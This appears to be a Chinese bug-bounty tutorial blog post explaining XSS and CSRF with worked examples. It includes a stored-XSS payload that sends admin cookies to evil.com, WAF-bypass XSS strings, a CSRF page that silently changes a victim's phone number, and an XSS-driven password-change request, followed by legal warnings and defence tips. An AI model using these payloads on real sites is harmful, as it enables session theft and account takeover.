【SRC漏洞挖掘系列】第02期:XSS与CSRF——Web世界的“偷家”艺术

上期回顾 :我们扒光了目标的资产(情报收集)。本期开始,我们要对这些目标进行"物理超度"------哦不,是合法的安全测试 。今天的主角是 Web 漏洞界的"哼哈二将":XSS ​ 和 CSRF


一、为什么这俩货这么重要?

很多新手觉得 XSS 是"弹个框就没用了",那是你不会玩。

  • XSS(跨站脚本) :相当于你在别人家的墙上涂鸦(植入JS)

  • CSRF(跨站请求伪造) :相当于你伪造了别人的**签名(Cookie)**去银行取钱。

在SRC里,一个存储型XSS进后台,往往意味着服务器权限(Getshell)的大门已开。


二、XSS:从"弹窗"到"接管后台"

1. 三种形态,各有千秋

类型 别名 危害等级 特点
反射型 非持久化 低/中 需要诱导管理员点击链接(钓鱼)。
存储型 持久化 插进数据库。每次访问页面自动触发,专杀后台管理员。
DOM型 前端漏洞 不走服务器,前端JS处理不当导致。

2. 实战案例:后台管理员的"噩梦"

场景:某论坛发帖功能存在存储型XSS。

Payload(攻击载荷)

html 复制代码
<script>
  // 窃取管理员Cookie
  var img = new Image();
  img.src = "http://evil.com/log?" + document.cookie;
</script>

发生了什么?

  1. 你把这段代码发在帖子正文。

  2. 管理员在后台查看帖子列表。

  3. 管理员的 Cookie 瞬间发送到了你的服务器 evil.com

  4. 你拿着管理员的 Cookie,用浏览器插件(如 EditThisCookie)替换自己的 Cookie。

  5. 结果:你不用密码,直接以管理员身份登录后台。🎉

3. 绕过WAF的"猥琐流"技巧

现在的防火墙(WAF)都很聪明,直接插 <script>会被拦截。我们需要变形:

  • 大小写混淆<ScRiPt>alert(1)</ScRiPt>

  • 闭合标签"><svg onload=alert(1)>

  • 编码绕过\u003cscript\u003e(Unicode编码)

  • 利用HTML5特性<details open ontoggle=alert(1)>

SRC加分项 :如果你能绕过厂商的WAF(Web应用防火墙)实现XSS,厂商通常会给你更高的评分,因为这证明了他们的防御体系有缺陷。


三、CSRF:借刀杀人的艺术

1. 核心原理:浏览器的小秘密

浏览器会自动携带当前网站的 Cookie。

如果你的浏览器里保存了 bank.com的登录状态,你打开了一个恶意网站 evil.com,这个网站里有个表单是向 bank.com转账的,浏览器会傻乎乎地带着你的Cookie去执行转账

2. 实战案例:改绑手机号

场景:某SRC站点修改绑定手机的接口如下:

https://example.com/user/changePhone?phone=13800138000&userId=1001

漏洞点:该接口没有验证"原手机号验证码",也没有 Token 验证。

攻击步骤

  1. 你构造一个恶意页面 attack.html

    html 复制代码
    <body>
      <!-- 偷偷发起请求 -->
      <img src="https://example.com/user/changePhone?phone=你的手机号&userId=1001">
    </body>
  2. 诱骗受害者(或者自己切换账号测试)在登录状态下访问 attack.html

  3. 结果:受害者的账号手机号被悄悄改成了你的手机号。你可以通过"找回密码"直接接管他的账号。

3. 防御与绕过

  • 防御:Referer 校验、CSRF Token、验证码。

  • 绕过

    • Referer绕过 :如果后端只校验 contains("example.com"),你可以把文件名改成 example.com.html放在你的服务器上。

    • Token绕过:如果Token生成算法可预测,或者Token未绑定Session。


四、XSS + CSRF = 王炸

单独的XSS或CSRF可能已经修好了,但如果组合起来呢?

案例 :某站有反射型XSS ,但没有CSRF Token

你可以构造一个链接,用户一点击,不仅执行了XSS,还利用XSS发起了一个AJAX请求(CSRF),偷偷把用户的密码改了。

javascript 复制代码
// XSS Payload 中包含 CSRF 攻击
fetch('/user/changePassword', {
  method: 'POST',
  body: 'newPwd=Hacked123',
  credentials: 'include' // 携带Cookie
});

五、SRC报告撰写Tips

写报告时,别只说"这里有XSS"。

  • Bad<script>alert(1)</script>弹窗了。

  • Good"由于未过滤特殊字符,导致存储型XSS,攻击者可通过此漏洞窃取管理员Session,进而控制后台服务器,造成数据泄露。"


六、互动与思考

漏洞类型 核心利用点 防御手段
XSS 前端JS执行 转义输出 (HtmlSpecialChars)
CSRF 利用浏览器自动带Cookie CSRF Token, SameSite Cookie

💬 互动话题

大家在挖洞时,有没有遇到过那种"明明弹窗了,但是厂商说不收"的情况?或者遇到过哪些奇葩的WAF拦截规则?欢迎吐槽!


⚠️ 法律红线警示

  1. 严禁在未授权情况下,对他人网站进行 XSS 挂马、篡改页面或窃取真实用户数据。

  2. 严禁利用 CSRF 漏洞对真实用户进行攻击或恶意操作(如改密码、转账)。

  3. 测试 XSS 时,建议使用 alert(document.domain)console.log作为证明,不要窃取他人的 Cookie 进行登录。

  4. 所有实验请在本地靶场(如 DVWA , XSS Challenges)中进行。

    技术无罪,人心有善恶。守住底线,做正义的白帽子。

下一期,我们将进入 SQL注入​ 的世界,揭秘如何"脱裤"(拖库)。准备好你的 SQLMap 了吗?😎

相关推荐
jay神9 分钟前
【计算机毕业设计】基于Flask+Vue的电影数据可视化与智能推荐系统
前端·vue.js·python·信息可视化·flask·毕业设计·课程设计
FreeTinker6 小时前
HTML本地存储技术解析:localStorage与sessionStorage的原理、差异与应用场景
前端·html
qq_452396236 小时前
第十二篇:《全链路监控与可观测性:前端错误追踪与性能分析》
前端
wangruofeng7 小时前
Phosphor Icons 官网源码拆解:URL 即存储、水波动画与 7362 Star 图标库的架构实践
前端·架构·github
BigTopOne8 小时前
WebRTC Native / Android 开发学习资源整理
前端
excel9 小时前
nuxt 3 升级 nuxt 4 报错之 hasInjectionContext
前端
何以解忧,唯有..9 小时前
LangChain 工具调用(Tool Calling)实战指南
java·前端·langchain
软件聚导航10 小时前
「聚小软 AI 助手」技术升级:从数据库检索到 RAG 知识库问答
前端·数据库·mysql·微信小程序·小程序·ai编程·rag
恋猫de小郭10 小时前
看懂大模型架构术语,帮助你理解目前常见的大模型开源架构
前端·人工智能·ai编程
yma1610 小时前
通过提示词实现GitHub Pages 和 Nginx 双部署竟然这么简单?
前端